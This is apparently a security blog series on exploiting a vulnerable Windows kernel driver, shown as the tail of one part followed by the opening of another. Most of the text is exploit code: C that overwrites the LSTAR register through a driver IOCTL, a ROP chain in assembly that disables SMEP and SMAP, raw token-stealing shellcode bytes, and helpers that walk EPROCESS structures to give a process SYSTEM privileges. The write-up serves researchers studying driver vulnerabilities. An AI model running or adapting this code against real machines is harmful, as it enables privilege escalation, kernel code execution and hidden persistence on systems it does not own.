Verifying this vulnerability is relatively straightforward, and the following code demonstrates it. Just define the data structure and pass it to the driver by calling DeviceIoControl with the appropriate IOCTL code. Set the MSR index to LSTAR (0xc0000082) and the value to be assigned as 0xffffffffffffffff.

Running this program will make Windows BSOD. The reason for this crash is that upon the next system call execution, the CPU attempts to jump to the invalid address of 0xffffffffffffffff.

#define DEVICE_NAME_W L"XXXXXXXX"
#define IOCTL_WRMSR 0xXXXXXX

typedef struct DRIVER_STRUCT {
	DWORD Affinity;
	DWORD MsrIndex;
	DWORD64 Value;
}WRMSR_STRUCT, * PWRMSR_STRUCT;

HANDLE hDevice = NULL;
WCHAR* DevicePath = NULL;

BOOL OpenDriverDevice() {
	DevicePath = (LPWSTR)malloc((MAX_PATH + 1) * sizeof(WCHAR));
	swprintf_s(DevicePath, MAX_PATH, L"\\\\.\\%ws", DEVICE_NAME_W);
	hDevice = CreateFileW(DevicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	return TRUE;
}

void CloseDriverDevice() {
	if (DevicePath) {
		free(DevicePath);
	}
	if (hDevice) {
		CloseHandle(hDevice);
	}
}

BOOL WriteMSR(DWORD MsrIndex, DWORD64 Value) {
	WRMSR_STRUCT wrmsr;
	HANDLE hProcess = NULL;
	DWORD_PTR ProcessAffinityMask = 0;
	DWORD_PTR SystemAffinityMask = 0;
	BYTE buffer[1024] = { 0 };
	DWORD bytesReturned;

	ZeroMemory(&wrmsr, sizeof(wrmsr));

	hProcess = GetCurrentProcess();
	GetProcessAffinityMask(hProcess, &ProcessAffinityMask, &SystemAffinityMask);

	wrmsr.Affinity = (DWORD)SystemAffinityMask;
	wrmsr.MsrIndex = MsrIndex;
	wrmsr.Value = Value;

	DEBUG(L"[*] Press ENTER to continue (OS will BSOD!)\r\n");
	getchar();

	DeviceIoControl(hDevice, IOCTL_WRMSR, &wrmsr, sizeof(wrmsr), buffer, sizeof(buffer), &bytesReturned, NULL);

	return TRUE;
}

int main(int argc, char* argv[]) {
	DWORD lstar_msr = 0xc0000082;
	
	if (!OpenDriverDevice()) {
		CloseDriverDevice();
		return 0;
	}

	WriteMSR(lstar_msr, 0xffffffffffffffff);

	CloseDriverDevice();
	return 0;
}

Examination within Windbg reveals that the LSTAR register has indeed been modified.

10. Exploit explanation

Most examples and proof-of-concepts I found online ended at the previous step, but I wanted to take it a step further and actually understand how this vulnerability can be fully exploited in practice. Please check out the references I’ve included. Writing this several months after developing the exploit, I honestly don’t recall which resource assisted me in understanding which part.

Now that we’ve confirmed the ability to overwrite the LSTAR register, we can point it to a shellcode of our choosing. Unfortunately the shellcode will cause the OS to crash, due to the previously mentioned protections - KPTI, SMEP, SMAP and potentially KPP. Let’s outline how to bypass them all.

SMEP

The shellcode will exist in user-land. When the CPU jumps to LSTAR, it’s in Ring 0 mode, causing the OS to crash due to SMEP. Bypassing SMEP can be achieved using ROP. A ROP chain can be created to modify the value of CR4 (specifically bits 20 and 21) to disable SMEP. Once disabled, the CPU can jump to our shellcode without crashing the system. The ROP chain should consist only of gadgets in the kernel.

SMAP

But there’s is still a problem. When the CPU jumps to the address of LSTAR, it’s in supervisor mode, but execution context is still in user-mode and the stack the CPU uses is the user stack, which is in user-space. Therfore, even though the ROP chain will consist of kernel-space addresses, and the CPU is in Ring 0, the moment a ret instruction is executed and a return address is accessed, SMAP will cause a BSOD.

Luckyly, SMAP can be bypassed easily from user-mode by changing a single bit in RFLAGS (the AC flag - bit 18).

KPTI

KPTI is the hardest to bypass. When the CPU jumps to the LSTAR address, the ROP chain would need to replace the UserDirectoryTableBase with the kernel DirectoryTableBase of the current process. This grants access to the entire address space (user and kernel). As far as I’ve read, to obtain the kernel CR3 value, leaking its address through another exploit is required. If you’re lucky the same driver might have an arbitrary read vulnerability, and allow you to read it that way. Otherwise, you’d have to find another vulnerability in Windows which will allow you to read kernel memory and read the kernel DirectoryTableBase.

The presentation in the first reference, mentions that the kernel DirectoryTableBase can be leaked through certain ETW Providers, but to set this up you’d need administrative privileges. If your process already runs as Admin, then KPTI is disabled for it, which makes this pointless (trying to disable something when it’s already disabled). Therefore this method is only useful if the target host already uses this ETW Provider.

I didn’t feel like searching for a second exploit, therefore I opted to run my exploit as administrator and create a shellcode to elevate my privileges from Admin to System, which should be enough for a PoC. That way I don’t have to worry about KPTI and I could continue working on making the exploit.

KPP

Because of KPP, the shellcode needs to be fast and restore all changes before it finishes. Otherwise, when KPP runs, it will crash the OS. The shellcode has to restore the values of CR4 (SMEP), CR3 (if modified) and LSTAR.

Additional considerations

The shellcode has to restore LSTAR as soon as possible. This has to be the first thing it does, otherwise if the CPU switches context to another process, and that process issues a syscall while the LSTAR is changed it will run the exploit again.
To limit the possibility of the CPU switching to another thread, the code should set the current process and thread priority to Highest.
The LSTAR register is shared by all threads on a single CPU core. Each core has it’s own copy of the LSTAR register. Therefore, our exploit should also set the current Processor and Thread Affinity to make sure our thread doesn’t get moved to another core mid-execution.

To summarize, the exploit would need to do the following:

Set current Process priority and Thread priority as Highest
Set the Processor and Thread Affinity Mask
Disable SMAP before running the ROP (modify RFLAGS)
Prepare the stack with the ROP chain
The ROP chain has to change CR3 (if you want to bypass KPTI) and CR4 (to bypass SMEP)
The ROP chain should finally call the user shellcode
The shellcode should immediately restore LSTAR
The shellcode should run the main payload (I will use Token Stealing shellcode)
Before returning to user-mode, the shellcode should restore CR4 (will enable SMEP again) and CR3 (if modified)
The shellcode should restore the stack in a state suitable to return to user-mode and back to the calling function
Return safely to the user-mode calling function

11. Constructing the ROP chain

Initially, I planned to use inline assembly in a Visual Studio C project to set up the stack with the ROP chain. However, this isn’t possible for 64-bit projects. A workaround was to write an assembly function in a separate .asm file and link it to my project. You can find guidance on how to do that from this blog post.

In my .asm file, I began by defining an empty function called __rop:

PUBLIC __rop

.code
	__rop PROC
	; assembly code here
	ret
	__rop ENDP
end

After testing that it compiles successfully, I was wondering when to execute it - after modifying LSTAR or before that. Becuase DeviceIoControl requires several arguments, I didn’t want them to mess up the stack or its alignment, so I decided to call __rop immediately after modifying LSTAR.

The next question I needed to answer was how to trigger the execution of the ROP chain? Calling a Windows API which in turn would execute a syscall would probably mess up the stack. Therefore I decided to just directly use the syscall instruction at the end of my __rop function.

PUBLIC __rop

.code
	__rop PROC
	; rcx - arg1, rdx - arg2, r8 - arg3, r9 - arg4
	; top of stack -> return address
	
	syscall
	__rop ENDP
end

The C code would look something like this:

WriteMSR(MsrIndex, Value); // Modify LSTAR
__rop(/*arguments*/);  // Setup ROP then call syscall which will jump to LSTAR address

To find ROP gadgets I used rp++. rp++ shows the offset to the gadget, so to find the actual virtual address, the Kernel Base Address should be found dynamically (using EnumDeviceDrivers method). The virtual address of the gadget can be found by adding the kernel base address and the offset.

With KPTI enabled the search has to be constrained only to the KVAS section of ntoskrnl.exe, because it’s the only kernel-space visible from user-space. After KPTI is disabled, gadgets from almost the whole ntoskrnl.exe can be used, or from other loaded drivers. In my case KPTI is already disabled, becase I will run my exploit with Admin privileges, so I can search the whole ntoskrnl.

The shellcode will be running in kernel-mode, and it has to know where to find certain kernel structures in kernel-space and be able to access them. Therefore, the ROP chain has to start the same way as the real systemcall handler KiSystemCall64Shadow normally starts, and switch the CPU context from user-mode to kernel-mode by swapping the user GS value with the kernel GS value. This means that our first ROP gadget has to be:

swapgs
ret

There were no gadgets using the RET instruction, but several with the IRETQ instruction. This is a special instruction which returns from an exception back to the procedure that was interrupted. A few important registers get saved on the stack during an exception - RIP, RSP, RFLAGS. To return from an exception, those values have to be popped back into their respective registers. To do that it expects the stack to be aligned to a 16byte boundary and to contain the following values:

size    value
     return address   <- top of stack
     CS               // Code Segment Register
     RFLAGS
     RSP
     SS               // Stack Segment Register

In kernel-mode CS is usually 0x10 and SS is usually 0x18. The return address (top of stack) will point to the second ROP gadget.
To prepare the stack, the following assembly could be used:

mov rbx, 18h     ; SS, usually 0x18 in kernel-mode
push rbx         ; SS (last value on stack to be used by IRETQ)
push rsp         ; rsp

pushfq           ; push current RFLAGS to stack
		
mov rbx, 10h     ; CS usually 0x10 in kernel-mode
push rbx         ; CS
push <address>   ; Top of stack (pointer to second gadget)

Therefore, the first ROP gadget is swapgs; iretq at offset 0xA18C22 (for my kernel version).
When the syscall instruction gets called, it will jump to the address pointed by LSTAR, therefore, LSTAR should be overwritten with the address of the first ROP gadget.
Then IRETQ will transfer execution to the second gadget.

The second gadget should modify CR4 to disable SMEP, so it should be in the form of mov CR4,. The gadget below was found at offset 0x383B85 and with a bit of additonal stack preparation would suffice.

mov cr4, rax    ; disable SMEP
add rsp, 0x20
pop rbx
ret             ; jump to shellcode

To make the PoC easier, instead of reading the existing value of CR4 and then modifying it, I replaced it with a known value that works. I used windbg to check what was CR4 in my test VM and I hardcoded it into the exploit with bits 20,21 set to 0. The original value should also be saved, because the final shellcode should restore it in order not to trigger KPP.

With SMEP disabled, no more gadgets are required and the ROP can finally jump to the user allocated buffer containing the shellcode.
The following is the chain of execution:

syscall -> LSTAR (gadget1, switch to kernel-mode) -> gadget2 (disable SMEP) -> shellcode

Let’s see how the __rop function responsible for preparing the ROP will look like (it’s easier to read it from the bottom-up):

PUBLIC __rop

.code
	__rop PROC
    ; rcx - arg1, rdx - arg2, r8 - arg3, r9 - arg4
	; top of stack -> return address
	
	    pushfq           ; push current RFLAGS on stack
		pop r12          ; save original RFLAGS to r12, and restore before returning to main
		                 ; otherwise program crashes when the shellcode returns to the calling function

		sub rsp, 16      ; 
		xor rbx, rbx     ; rbx = 0
		sub rbx, 16      ; rbx = FFFFFFFFFFF0
		and rsp, rbx     ; align the stack to 16 byte (needed by IRETQ)

		push rcx         ; arg1 -> user shellcode address
		
		sub rsp, 20h     ; neutralize the "add rsp, 20h" from the CR4 gadget

		mov rbx, 18h     ; SS, usually 0x18 in kernel-mode
		push rbx         ; ss
		push rsp         ; RSP (Current RSP points to where SS was pushed. 
		                 ; After IRETQ, RSP will be replaced with this one and will point to where SS was on stack)
						 ; The cr4 gadget has "pop rbx" which will remove it from stack

		pushfq           ; push current RFLAGS to stack
		pop rbx          ; load current RFLAGS to rbx
		and rbx, 0FFh    ; keep interrupts off (was mentioned in one presentation, not 100% sure why its needed, but just in case)
		or rbx, 040000h  ; Disable SMAP!
		push rbx         ; push modified RFLAGS on stack - used by iretq
		push rbx         ; push modified RFLAGS on stack again
		popfq            ; load modified RFLAGS from stack which will disable SMAP from this point onwards
		
		mov rbx, 10h     ; CS usually 0x10 in kernel-mode
		push rbx         ; CS
		mov rax, 070678h ; hardcoded CR4 value that works. Bits 20,21 set to 0. Disables SMEP!
		push rdx         ; arg2 -> cr4_gadget => mov cr4, rax ; add rsp, 0x20 ; pop rbx ; ret

		syscall          ; jumps to first ROP gadget, pointed by LSTAR -> swapgs; iretq
	__rop ENDP
end

This is what the stack will look like right before calling the syscall instruction:

And the C code for this part of the exploit:

WriteMSR(MsrIndex, kernelAddress.gadget_swapgs_iretq);
__rop(shellcode, kernelAddress.gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret);

12. Constructing the shellcode

For the shellcode, I allocated a 500-byte buffer and initialized it with NOPs.

unsigned char* shellcode = NULL;
shellcode = (unsigned char*)VirtualAlloc(NULL, 500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(shellcode, 500, 0x90);

As it was mentioned earlier, the first thing the shellcode should do is to restore the original system call handler - KiSystemCall64Shadow. Its address can be dynamically computed by getting its offset in ntoskrnl and then adding it to the kernel base address.
To restore it, the wrmsr instruction can be used again, like so:

mov    ecx, 0xc0000082
mov    edx, high_part_pKiSystemCall64Shadow
mov    eax, low_part_pKiSystemCall64Shadow
wrmsr

I compiled the above assembly and then copied the produced bytes into the shellcode buffer:

// restore LSTAR MSR to point to KiSystemCall64Shadow
memcpy((unsigned char*)(shellcode + 0), "\xb9\x82\x00\x00\xc0", 5);            // mov    ecx, 0xc0000082
memcpy((unsigned char*)(shellcode + 5), "\xba", 1);                            // mov    edx, high_part_pKiSystemCall64Shadow
temp = (DWORD)(kernelAddress.KiSystemCall64Shadow >> 32);
memcpy((unsigned char*)(shellcode + 6), &temp, 4);
memcpy((unsigned char*)(shellcode + 10), "\xb8", 1);                           // mov    eax, low_part_pKiSystemCall64Shadow
temp = (DWORD)(kernelAddress.KiSystemCall64Shadow & 0xffffffff);
memcpy((unsigned char*)(shellcode + 11), &temp, 4);
memcpy((unsigned char*)(shellcode + 15), "\x0f\x30", 2);                       // wrmsr

Next, the actual token-stealing payload can be inserted. I used the shellcode from this blog post: Windows Kernel Exploitation – HEVD x64 Stack Overflow.

mov    rax,QWORD PTR gs:0x188    ; KPCRB.CurrentThread (_KTHREAD)
mov    rax,QWORD PTR [rax+0xb8]  ; APCState.Process (current _EPROCESS)
mov    r8,rax                    ; Store current _EPROCESS ptr in RBX

loop:
mov    r8,QWORD PTR [r8+0x448]   ; ActiveProcessLinks
sub    r8,0x448                  ; Go back to start of _EPROCESS
mov    r9,QWORD PTR [r8+0x440]   ; UniqueProcessId (PID)
cmp    r9,0x4                    ; SYSTEM PID? 
jne    0x13                      ; Loop until PID == 4

mov    rcx,QWORD PTR [r8+0x4b8]  ; Get SYSTEM token
and    cl,0xf0                   ; Clear low 4 bits of _EX_FAST_REF structure
mov    QWORD PTR [rax+0x4b8],rcx ; Copy SYSTEM token to current process

// Steal SYSTEM token shellcode
memcpy((unsigned char*)(shellcode + 17), "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00\x49\x89\xC0\x4D\x8B\x80\x48\x04\x00\x00\x49\x81\xE8\x48\x04\x00\x00\x4D\x8B\x88\x40\x04\x00\x00\x49\x83\xF9\x04\x75\xE5\x49\x8B\x88\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00"
, 63);

Finally, the shellcode has to restore original value of CR4 (enable back SMEP) while still in kernel-mode and then return to user-mode safely.
The moment CR4 gets restored, SMEP will be in effect. Therefore, to return to user-mode ROP chain has to be used again.
Restoring CR4 is easy, the same CR4 gadget can be reused to overwrite CR4 with its original value.

The tricky part is to return to user-mode. The code has to mimic the steps the original systemcall handler returns to user-mode, which means it needs a ROP gadget of swapgs; sysret. swapgs restores the user-mode GS register and sysret returns the CPU to Ring 3. The sysret instruction loads RIP from RCX, loads RFLAGS from R11 and does not modify the stack pointer (RSP). This means that prior to calling it, the return address to the calling function (in my case - main) should be popped into RCX, the original value of RFLAGS should be moved in R12 and the stack should be restored in the state prior to calling the __rop function.

add rsp,0x18                         ; Restore stack; Return address of main is on top
pop rcx                              ; RCX = return address to main()
movabs rdx, gadget_swapgs_sysret_ret ; 
push rdx                             ; push address of sysret gadget

mov rax, 0x370678                    ; original CR4 value, to be used in cr4 gadget to restore it
sub rsp, 0x28                        ; setup stack for cr4 gadget
movabs rdx, gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret
push rdx                             ; push address of CR4 gadget

mov    r11, r12                      ; restore RFLAGS; Last thing to do, to make sure it's not modified by any other instruction
ret                                  ; jump to CR4 gadget

And the C code for it:

// Cleanup
memcpy((unsigned char*)(shellcode + 80), "\x48\x83\xc4\x18", 4);               // add    rsp,0x18 ; Restore stack
memcpy((unsigned char*)(shellcode + 84), "\x59", 1);                           // pop rcx ; return address to main()
memcpy((unsigned char*)(shellcode + 85), "\x48\xc7\xc0\x78\x06\x37\x00", 7);   // mov    rax, 0x370678 ; to restore cr4
memcpy((unsigned char*)(shellcode + 92), "\x48\xba", 2);                       // movabs rdx, gadget_swapgs_sysret_ret
memcpy((unsigned char*)(shellcode + 94), &kernelAddress.gadget_swapgs_sysret_ret, 8);
memcpy((unsigned char*)(shellcode + 102), "\x52", 1);                          // push rdx
memcpy((unsigned char*)(shellcode + 103), "\x48\x83\xec\x28", 4);              // sub rsp, 0x28
memcpy((unsigned char*)(shellcode + 107), "\x48\xba", 2);                      // movabs rdx, gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret
memcpy((unsigned char*)(shellcode + 109), &kernelAddress.gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret, 8);
memcpy((unsigned char*)(shellcode + 117), "\x52", 1);                          // push rdx
memcpy((unsigned char*)(shellcode + 118), "\x4d\x89\xe3", 3);                  // mov    r11, r12  ; restore RFLAGS
memcpy((unsigned char*)(shellcode + 121), "\xc3", 1);                          // ret

13. Exploit

And finally testing the exploit:

Because this kind of vulnerability gives you actual kernel-level code execution, it could be used for more than just simple token-stealing. For example, it’s possible to use it to reflectively load a malicious driver (as shown in the persentation from the first reference).

After all the work it took me it was very disheartening being marked as duplicate :D I would’ve been very excited to have a CVE on my name, but oh well, maybe another time.

I hope I explained everything well and all is understandable. Also if you’re interested, check the references below. They have wealth of additional information and I wouldn’t have succeded without each listed resource.

If you notice something wrong in my explanations, please send me feedback so I can fix it :)

14. References

Exploring the Windows kernel using vulnerable driver - Part 2

2023-07-01T00:00:00+03:00

1. Introduction

Welcome back to my blog series on exploring the Windows kernel with a vulnerable driver! The previous part discussed how Windows drivers function and explained how the MSI Afterburner driver vulnerability works. Now, this second part, will explore how this vulnerability can be exploited for activities like privilege escalation and other harmful actions.

Again, I want to emphasize that the purpose of this blog post is purely educational, therefore I will give only snippets of code as an example and will not share complete source code.

In addition, some of the code I directly took or adapted from the PPLKiller, PPLControl and CVE-2019-16098 GitHub repositories, therefore their authors are to be credited.

2. Token stealing - theory

Token stealing is a frequently employed technique when attempting to escalate privileges through a vulnerability. It is a relatively straightforward method, and there are ample examples available on the Internet, making it an ideal starting point to explain various Windows kernel concepts and structures before delving into more intricate topics.

Now, let’s begin with some theoretical background.

In the Windows operating system, there are two crucial components related to process management: the Executive subsystem and the kernel. The Executive subsystem, also known as the Executive layer, is a higher-level part of the operating system that provides essential services for various components like the kernel, device drivers, and user-mode processes. It handles tasks such as process management, memory management, I/O management, and security.

On the other hand, the kernel is the core component of the operating system. It interacts directly with the hardware and provides low-level services. It manages hardware resources, enforces security policies, and acts as an interface for higher-level components to interact with the system.

When it comes to representing a running process, two important data structures come into play: the EPROCESS (Executive Process Structure) and the KPROCESS (Kernel Process Structure). The EPROCESS structure is part of the Executive subsystem and holds crucial information about a process, including the executable image, memory allocation, security context, and handles to system resources. It facilitates process management, context switching, security and access control, resource management, and interprocess communication.

The KPROCESS structure, on the other hand, is an internal kernel-level structure that represents a process. It contains information relevant to the kernel, such as the process ID, thread list, memory management details, and processor state. The KPROCESS structure is embedded and stored inside the EPROCESS structure as its first field – Pcb, allowing access to the kernel-level process information when needed. Each process on the system has its corresponding EPRROCESS and KPROCESS structures.

source: https://en.wikipedia.org/wiki/Architecture_of_Windows_NT

EPROCESS is a crucial component in the token stealing technique. The fields of the sctructure can be explored with Windbg using the dt nt!_EPROCESS command.

You can also refer to this Vergilius Project page. Vergilius Project has documented the structures and their fields for almost all Windows builds.

Now, let’s focus on some specific fields within EPROCESS, that are relevant to our purpose:

struct _EPROCESS
{
    struct _KPROCESS Pcb;                       //0x0
    struct _EX_PUSH_LOCK ProcessLock;           //0x438
    VOID* UniqueProcessId;                      //0x440
    struct _LIST_ENTRY ActiveProcessLinks;      //0x448
//...
    struct _EX_FAST_REF Token;                  //0x4b8
//...
};

UniqueProcessId: This field points to the Process ID (PID) of the process.

ActiveProcessLinks: A structure for a doubly linked list. This field connects all EPROCESS structures of all processes in the system and serves as a means to traverse and locate different processes. If you unlink the EPROCESS structure of your process from this list, you can hide it and it won’t show up in Task manager.

//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;  //0x0
    struct _LIST_ENTRY* Blink;  //0x8
};

source: https://cybersecurity.att.com/blogs/labs-research/malware-hiding-techniques-to-watch-for-alienvault-labs

The _EX_FAST_REF Token field within the EPROCESS structure is a union that combines a pointer to the Token of the process and a reference counter, which keeps track of active references to the token.

//0x8 bytes (sizeof)
struct _EX_FAST_REF
{
    union
    {
        VOID* Object;        //0x0
        ULONGLONG RefCnt:4;  //0x0, least significat 4 bits are the reference count
        ULONGLONG Value;     //0x0
    };
};

The security token represents the security context and privileges associated with a user or process. To escalate our own process’s privileges to SYSTEM level, we can overwrite the Token pointer inside our process’s EPROCESS structure. By pointing it to the Token of the SYSTEM process, which can be found in the SYSTEM process’s EPROCESS structure, we effectively replace one token with another.

3. Token stealing in practice

The EPROCESS structure is an internal component of the Windows operating system that is not intended for direct access. As a result, its format and field offsets may vary across different Windows versions. This implies that if an exploit relies on hardcoded offsets, it will only function correctly on specific Windows versions where those offsets align. On other Windows versions, it will probably crash the OS and lead to BSOD.

To address this challenge, there are a couple of potential solutions. One approach is to maintain a lookup table that maps Windows versions and structure field offsets. This allows the exploit to dynamically adapt to different Windows builds, ensuring compatibility and stability. Another option is to employ dynamic offset discovery techniques that programmatically identify the correct offsets at runtime.

In the following example I am using a lookup table with hardcoded offsets. These offsets can be obtained either online from the Vergilius Project, which documents structures for a wide range of Windows builds or manually spinning VMs with different Windows versions and dumping the structures with Windbg. By incorporating these pre-determined offsets into the exploit code, it ensures compatibility with the specified Windows versions.

Ok, let’s dive into a practical example to further illustrate the concept of token stealing. Our first goal is to locate two EPROCESS structures: one for the SYSTEM process and another for our own process. However, there are some challenges to overcome.

In kernel mode, the address of the EPROCESS structure for the SYSTEM process is conveniently exposed by the kernel through the exported symbol PsInitialSystemProcess. Unfortunately, our process is running in user mode, which means we can’t read this pointer, because it’s in kernel-land. We can leverage a driver exploit to read PsInitialSystemProcess, but first we need to know what is the kernel address of the PsInitialSystemProcess symbol itself.

To address this issue, we can try to find the offset of PsInitialSystemProcess from the base address of the kernel. By adding the offset and the kernel base address together we can determine the kernel address of PsInitialSystemProcess.

KernelAddressOfPsInitialSystemProcess = PsInitialSystemProcessOffset + KernelBaseAddress

To find the base address of the kernel, there are various approaches, as described on this page: https://wumb0.in/finding-the-base-of-the-windows-kernel.html

In this example, I will utilize the EnumDeviceDrivers function, which returns the kernel base addresses of all loaded kernel modules. The first module in the list is the kernel itself, allowing us to obtain its base address.

ULONG_PTR GetKernelBaseAddress() {
	ULONG_PTR pKernelBaseAddress = 0;
	LPVOID* lpImageBase = NULL;
	DWORD dwBytesNeeded = 0;

	// first call calculates the exact size needed to read all the data
	if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) {
		PRINT_ERROR(L"[-] Couldn't EnumDeviceDrivers.\n");
		return pKernelBaseAddress;
	}
		
	// allocate enough memory to read all data from EnumDeviceDrivers
	if (!(lpImageBase = (LPVOID*)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) {
		PRINT_ERROR(L"[-] Couldn't allocate heap for lpImageBase.\n");
		if (lpImageBase)
			HeapFree(GetProcessHeap(), 0, lpImageBase);

		return pKernelBaseAddress;
	}

	if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) {
		PRINT_ERROR(L"[-] Couldn't EnumDeviceDrivers.\n");
		if (lpImageBase)
			HeapFree(GetProcessHeap(), 0, lpImageBase);

		return pKernelBaseAddress;
	}

	// the first entry in the list is the kernel
	pKernelBaseAddress = ((ULONG_PTR*)lpImageBase)[0];
	DEBUG(L"[*] KernelBaseAddress: %llx\n", pKernelBaseAddress);

	return pKernelBaseAddress;
}

To find the offset of PsInitialSystemProcess, first we need to map the kernel binary (ntoskrnl.exe) into our address space using the LoadLibrary function. Next, we can use the GetProcAddress function to obtain the user mode address of PsInitialSystemProcess. This gives us the exact location of the symbol within our user mode address space.

By subtracting the base address of the mapped ntoskrnl.exe from the user mode address of PsInitialSystemProcess, we can calculate the offset of PsInitialSystemProcess inside the kernel when it is loaded in memory. This offset will remain the same for kernel-land.

PsInitialSystemProcessOffset = PsInitialSystemProcessAddress - ntoskrnlBaseAddress

DWORD GetPsInitialSystemProcessOffset() {
	HMODULE ntoskrnl = NULL;
	DWORD dwPsInitialSystemProcessOffset = 0;
	ULONG_PTR pPsInitialSystemProcess = 0;

	// value of ntoskrnl is the base address of the mapped ntoskrnl.exe in our process memory
	ntoskrnl = LoadLibraryA("ntoskrnl.exe");
	if (ntoskrnl == NULL) {
		PRINT_ERROR(L"[-] Couldn't load ntoskrnl.exe\n");
		return 0;
	}

	pPsInitialSystemProcess = (ULONG_PTR)GetProcAddress(ntoskrnl, "PsInitialSystemProcess");
	if (pPsInitialSystemProcess) {
		// substracting from the address of the symbol the base address gives us the offset
		dwPsInitialSystemProcessOffset = (DWORD)(pPsInitialSystemProcess - (ULONG_PTR)(ntoskrnl));
		FreeLibrary(ntoskrnl);
		return dwPsInitialSystemProcessOffset;
	}

	PRINT_ERROR(L"[-] Couldn't GetProcAddress of PsInitialSystemProcess\n");
	return 0;
}

Now, to obtain the kernel address of the PsInitialSystemProcess pointer, we can simply add the calculated offset to the kernel’s base address in kernel memory (which we already got with EnumDeviceDrivers). This allows us to precisely locate the PsInitialSystemProcess pointer within the kernel.

Since we will often need to calculate addresses using offsets, it is helpful to create a simple function to streamline the process. Here is an example of such a function:

ULONG_PTR GetKernelAddress(ULONG_PTR KernelBase, DWORD Offset) {
	return KernelBase + Offset;
}

Once we have the kernel address of the PsInitialSystemProcess pointer, we can utilize our driver exploit to read its value.
Below is an example how the functions we created are used to obtain the mentioned addresses. lpPsInitialSystemProcess is the kernel address of PsInitialSystemProcess which we need to read to get a pointer to the SYSTEM process EPROCESS. lpInitialSystemProcess is the value of that pointer.

lpKernelBase = GetKernelBaseAddress();
if (!lpKernelBase) {
	return FALSE;
}

dwPsInitialSystemProcessOffset = GetPsInitialSystemProcessOffset();
if (!dwPsInitialSystemProcessOffset)
	return FALSE;

lpPsInitialSystemProcess = GetKernelAddress(lpKernelBase, dwPsInitialSystemProcessOffset);

if (!RTCoreReadPtr(lpPsInitialSystemProcess, &lpInitialSystemProcess)) {
	PRINT_ERROR(L"[-] Couldn't read pointer for lpPsInitialSystemProcess\n");
	return FALSE;
}

Now that we have the address to EPROCESS, we can use the driver exploit again to read the pointers to the ActiveProcessLinks linked list and the Token from system process EPROCESS structure. Before reading, the structure field offsets (which depend on the Windows build) should be added to the EPROCESS address. I get the offsets from my lookup table.

if (!RTCoreReadPtr(lpInitialSystemProcess + ACTIVEPROCESSLINKS_OFFSET[WinVersion], &lpActiveProcessLinks)) {
	PRINT_ERROR(L"[-] Couldn't read pointer for lpActiveProcessLinks\n");
	return FALSE;
}

ULONG_PTR GetTokenPointer(ULONG_PTR eprocess, WINDOWS_VERSION WinVersion) {
	ULONG_PTR Token;

	if (!RTCoreReadPtr(eprocess + TOKEN_OFFSET[WinVersion], &Token)) {
		PRINT_ERROR(L"[-] Couldn't read pointer for Token\n");
		return 0;
	}
	return Token;
}

To find the EPROCESS structure for our own process, we can traverse the ActiveProcessLinks doubly linked list, starting from the System process EPROCESS. We compare the UniqueProcessId of each structure with the process ID of our process. Once a match is found, we have successfully located our own EPROCESS structure.

We can use two helper functions to achieve this. The first function returns the PID for a given EPROCESS pointer. This is done by just reading the value at address (SystemEPROCESS + UniqueProcessIdOffset):

DWORD GetUniqueProcessId(ULONG_PTR eprocess, WINDOWS_VERSION WinVersion) {
	ULONG_PTR pUniqueProcessId = 0;
	DWORD UniqueProcessId = 0;

	pUniqueProcessId = eprocess + UNIQUEPROCESSID_OFFSET[WinVersion];

	if (lpInitialSystemProcess == 0) {
		PRINT_ERROR(L"[-] lpInitialSystemProcess not initialized!\n");
		return -1;
	}

	if (!RTCoreRead32(pUniqueProcessId, &UniqueProcessId)) {
		PRINT_ERROR(L"[-] Couldn't read value from pUniqueProcessId\n");
		return FALSE;
	}
	return UniqueProcessId;
}

The second function, finds the kernel address of an EPROCESS structure for a given PID. It’s doing it by traversing the ActiveProcessLinks list, reading the UniqueProcessId value of the current EPROCESS and comparing it to the PID of our process:

ULONG_PTR GetEprocessByPid(DWORD Pid, WINDOWS_VERSION WinVersion) {
	DWORD CurrentPid = 0;
	ULONG_PTR CurrentEprocess = 0;
	ULONG_PTR Flink = 0;

	// start traversing from the System process
	CurrentEprocess = lpInitialSystemProcess; 
	CurrentPid = GetUniqueProcessId(lpInitialSystemProcess, WinVersion);

	while (CurrentPid != Pid) {
		// read the address for the next EPROCESS in the list
		if (!RTCoreReadPtr(CurrentEprocess + ACTIVEPROCESSLINKS_OFFSET[WinVersion], &Flink)) {
			PRINT_ERROR(L"[-] Couldn't read pointer for ActiveProcessLinks.Flink\n");
			return 0;
		}
		// the address points to the Flink field, so we need to substract the offset of ActiveProcessLinks to get the base address of the EPROCESS structure
		CurrentEprocess = Flink - ACTIVEPROCESSLINKS_OFFSET[WinVersion];
		CurrentPid = GetUniqueProcessId(CurrentEprocess, WinVersion);
	}

	return CurrentEprocess;
}

At last, we arrive at the final step of stealing the SYSTEM token. The following function plays a key role in this process. It takes a process PID as an argument, allowing us to specify the target process. If the supplied PID is zero, the function changes the token of the current process. Otherwise, it modifies the token of the specified target process.

The function begins by obtaining the address of the SYSTEM token. Then, it performs a bitwise AND operation on the token address with the value NOT 15 (equivalent to 0xFFFFFFFFFFFFFFF0). This operation effectively zeroes out the four least significant bits, which represent the reference count of the token. By zeroing out these bits, we obtain the actual token address we need.

Next, it locates the EPROCESS structure of the target process. Once we have the EPROCESS structure, we can retrieve the token pointer for the target process. We can retain the reference count by AND-ing the value with 0xF.

We construct a new value for the token by combining the current process’s reference count with the address of the SYSTEM token. This new value represents the SYSTEM token with an updated reference count.

Finally, we write this newly constructed value to the token field of the target process’s EPROCESS structure. With this modification in place, our process now possesses SYSTEM privileges.

BOOL GetSystem(DWORD Pid, WINDOWS_VERSION WinVersion) {
	ULONG_PTR SystemToken;
	ULONG_PTR TargetEprocess;
	ULONG_PTR TargetToken;
